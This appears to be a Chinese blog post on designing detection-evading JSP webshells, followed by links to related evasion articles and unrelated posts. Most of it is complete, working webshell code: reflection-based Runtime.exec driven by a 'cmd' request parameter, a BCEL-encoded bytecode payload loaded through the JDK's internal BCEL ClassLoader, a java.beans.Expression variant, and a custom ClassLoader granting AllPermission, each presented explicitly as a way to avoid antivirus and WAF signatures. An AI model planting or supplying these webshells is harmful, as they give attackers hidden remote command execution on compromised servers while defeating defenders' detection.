JSP Webshell免杀设计

@author:drag0nf1y

介绍

什么是Webshell?

被服务端解析执行的php、jsp文件

什么是RCE?

  1. remote command execute
  2. remot code execute

Java没有eval这样的函数,只能执行命令,想要执行代码可以自定义一个类加载器,来加载字节码。

方式

基本的反射

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
// Field cr = rt.getDeclaredField("currentRuntime");
// cr.setAccessible(true);
// Runtime crt = (Runtime) cr.get(null);
Method grmethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
// 执行 method.invoke(),返回getRuntime对象
Object object = method.invoke(grmethod.invoke(null),cmd);
Process process = (Process) object; // 回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>

BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

优势:没有Runtime或者exec这些明显的特征,所以可以做到免杀。

<%@ page import="java.lang.reflect.Constructor" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

​    String cmd = request.getParameter("cmd");

​    String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$ddR$d3P$Q$feN$JM$h$C$85$d2B$R$7fQ$a4$z$85$fa$83$7f$UQA$40$b4$a0C$j$9c$5e$a6$e9$B$83i$d2I$T$867$f2Vg$b4ud$c6K$_$7c$A$l$c2gp$c4$3di$a1t$a8$e3$c5$d9sv$bf$3d$bb$dfn$f6$e4$c7$9f$af$df$A$ccaS$c1$Q22f$U$E$c4$3e$x$p$ab$e0$Gn$KqK$c1m$cc$v$e8$c5$j$F$S$ee$KqO8$de$P$e1$81$d8$e7$c3$YDN$c6$82$8c$87$MA$87$d7$3c$d3e$88$e6$f7$b4$7d$zkj$d6n$b6$e0$3a$86$b5$9b$pt$c1$b0$Mw$91$n$9e$3c$L$a7$b6$Z$a4e$bb$cc$Z$oy$c3$e2$9b$5e$a5$c4$9d$d7Z$c9$e4$o$9c$adk$e6$b6$e6$YBo$Z$r$f7$adQ$a3$a8$f9$95$7d$c3$a4$f0$3dz$a5$cc$Q$a8$95$Y$c6$ce$c4_$f2$M$b3$cc$9d$9c$cfQ$a3$TC$a2$e9d$d8$d9$rog$87$3b$bc$bc$e5$p$e4$p$99$c4$80$a1$bf$e0j$fa$bb$N$ad$eag$f4$8b$5c$a4FQ$8f$Y$94$95$D$9dW$5d$c3$b6j2$k1$84$5c$bb$99$89$n$96Lu$x_$v$d8$9e$a3$f3UC$90$P$L$d2$b3$c2KE$M$8f$ZF$ff$c1$98a$a4$3bM$aa$f2$YX$b7$aa$9eK$b7$b8Vib2$9e$a8X$c2$b2$8a$a7X$91$b1$aab$N$cfD$a2u$n$9e$abx$81$94$8a$3c6$Y$98$a2$o$v$b4$u$86$a9pA$8ba$b0M$e6ei$8f$ebn$87$e9$b8$ce$e1$b6$e9$a4$Z$f4$Z$92$e2S$O$b5$b1$z$cfr$8d$K$d5$ac$ecr$f7D$89w4$a9e$W$ad$e7$H$5cg$98$ea6$o$a7L$af$i$5b$e7$b5Z$ae$pS$cb$c80$40$99N5$85$ba$7b$9c$ad$b3$5bt$3d$91$ec$K$88$g$86$dbPk2$845$q$e6$t$ef$cfGP$abV$b9EC7$f3$l$b6$9d3$88$x$f4f$86$e8$f11Z$d4v$92$B$3a$c7$Q$a7$7d$84$b4$9f$I$d2$8b$D$d6$d2$N$b0C$E$8a$N$f4l$iB$w$k$a2$b7$f8$F$c1$e9$3a$e4$3aB$N$84$hP6g$ea$e8$x$ceK$df$R$cd$8cIu$a8$d1$7e$So$de$l$fdJg$ea$Y$f8$8c$c8G$K$d5$83Q$92$T$I$91$M$d3$p$ee$83$K1$L$D$98$q$wY$a2$b1H$e9W$c9$x$e1$ff$V$fc$f4$Y$c39$c0$3f$8d$TMF7r8$8f$LDs$92b$5d$c4$r$8a$9b$n$ec2$a1$S$95$F$3a$H$8e$I$94dL$c8$b8$w$e3$9aL$g$7e$pA$g$ae$93$83Da$a6h$d1$cc$91$U$d5fi$X$9d$e8M$7fB$e4$83$df$M$c15$e8$h$c7$7d$3ej$d3$a1$c5$87$n$ed$7bM$ff$F$c9$d3$5b$u$c4$E$A$A";

​    //获取class(ClassLoader 的对象的描述)

​    Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");

​    //获得真正的对象实例

​    ClassLoader loader = (ClassLoader) _loader.newInstance();

​    Class<?> _obj = loader.loadClass(bcel);

​    Constructor<?> constructor = _obj.getConstructor(String.class);

​    Object obj = constructor.newInstance(cmd);

​    response.getWriter().println("<pre>");

​    response.getWriter().println(obj.toString());

​    response.getWriter().println("</pre>");

%>

BeansExpression

Java自带的一个Java.beans.Expression里面有一个getValue()的类,如果在构造的时候传入一些执行参数的话,就会直接执行,并且回显执行结果。

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
//返回值是一个process的object
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream(); StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
//回显的返回结果是一个流,用 InputStreamReader 来读取
InputStreamReader resultReader = new InputStreamReader(in);
//再包一层BufferedReader读字符串
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
//BufferedReader的readline逐行字符串
while ((s = stdInput.readLine()) != null) {
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>

自定义ClassLoader

与BCEL是一样的,BCEL是给一段特殊的字节码,用他的bcel classloader来进行加载,不过这里加载的是真正的字节码,通过自定义的ClassLoader来进行加载。

Evil.java

import java.io.BufferedReader;
import java.io.InputStreamReader; public class Evil {
String result;
public Evil(String cmd) throws Exception {
//读结果
StringBuilder sb = new StringBuilder();
BufferedReader reader = new BufferedReader(
// 获取输入流
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())
);
String line; //临时变量
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
//读到回显结果
}
this.result = sb.toString();
//System.out.println(new Evil(cmd));
} @Override
public String toString() {
return result;
}
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能。

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法。

其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法。

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载,重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法。

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("ByteCodeEvil")) {
return findClass(name);
}
return super.loadClass(name);
}

最终的自定义类加载器JSP Webshell如下

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("ByteCodeEvil")){
return findClass(name);
}
return super.loadClass(name);
} @Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
}; String cmd = request.getParameter("cmd");
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
response.getWriter().print(result);
%>

JSP Webshell免杀设计的更多相关文章

  1. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  2. [9期]软WAF上传绕过+webshell免杀

    安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 for ...

  3. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  4. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  5. PHP7.1后webshell免杀

    严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...

  6. Webshell免杀

    过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...

  7. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. 分析一个免杀webshell发现的php特性

    文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...

随机推荐

  1. jQuery 判断父节点下是否有子节点

    查找父节点下是否有子节点有两个情况:(1)查找的是父元素的所有后代节点:(2)仅查找父元素的第一代子节点. <div id="app"> <div> < ...

  2. 使用Python的selenium库制作脚本,支持后台运行

    本文介绍如何使用Python的selenium库制作脚本.概念:       Selenium是一个用于测试网站的自动化测试工具,支持各种浏览器包括Chrome.Firefox.Safari等主流界面 ...

  3. tqdm和zip组合使用时无法显示进度条-解决办法

    问题 单独对于可迭代对象iterator使用tqdm时,结合循环就可以在终端显示进度条, 以直观展示程序进度,如下: from tqdm import tqdm textlist = [] for i ...

  4. Python自学教程7:字典类型有什么用

    字典是Python中的一个重要操作,如果字典玩得顺,很多其他的数据类型就可以一通百通. Python字典的定义 字典使用一对大括号进行定义,键值对之间使用逗号隔开,键和值使用冒号分隔. 键必须是不可变 ...

  5. docker存储管理及实例

    一.Docker存储概念 1.容器本地存储与Docke存储驱动 容器本地存储:每个容器都被自动分配了内部存储,即容器本地存储.采用的是联合文件系统.通过存储驱动进行管理. 存储驱动:控制镜像和容器在 ...

  6. 注解@DependsOn解析

    作用 @DependsOn注解可以定义在类和方法上,意思是我这个组件要依赖于另一个组件,也就是说被依赖的组件会比该组件先注册到IOC容器中. 在哪里被解析 解析的地方在 ComponentScanAn ...

  7. Windows 2019通过网页修改域用户密码

    对于域用户来说,定期修改密码是必须的.对于没有Exchange的组织,而且经常出差在外的人员,能及时修改密码就变得很重要了. 在Windows 2003的时候有iisadmpwd可以修改.但是这个页面 ...

  8. 我眼中的大数据(二)——HDFS

    Hadoop的第一个产品是HDFS,可以说分布式文件存储是分布式计算的基础,也可见分布式文件存储的重要性.如果我们将大数据计算比作烹饪,那么数据就是食材,而Hadoop分布式文件系统HDFS就是烧菜的 ...

  9. ProxySQL 使用情况报错问题汇总及解决办法

    1.ProxySQL Error: connection is locked to hostgroup 2 but trying to reach hostgroup 1 解决方案:登上proxysq ...

  10. Java SpringBoot 项目构建 Docker 镜像调优实践

    PS:已经在生产实践中验证,解决在生产环境下,网速带宽小,每次推拉镜像影响线上服务问题,按本文方式构建镜像,除了第一次拉取.推送.构建镜像慢,第二.三-次都是几百K大小传输,速度非常快,构建.打包.推 ...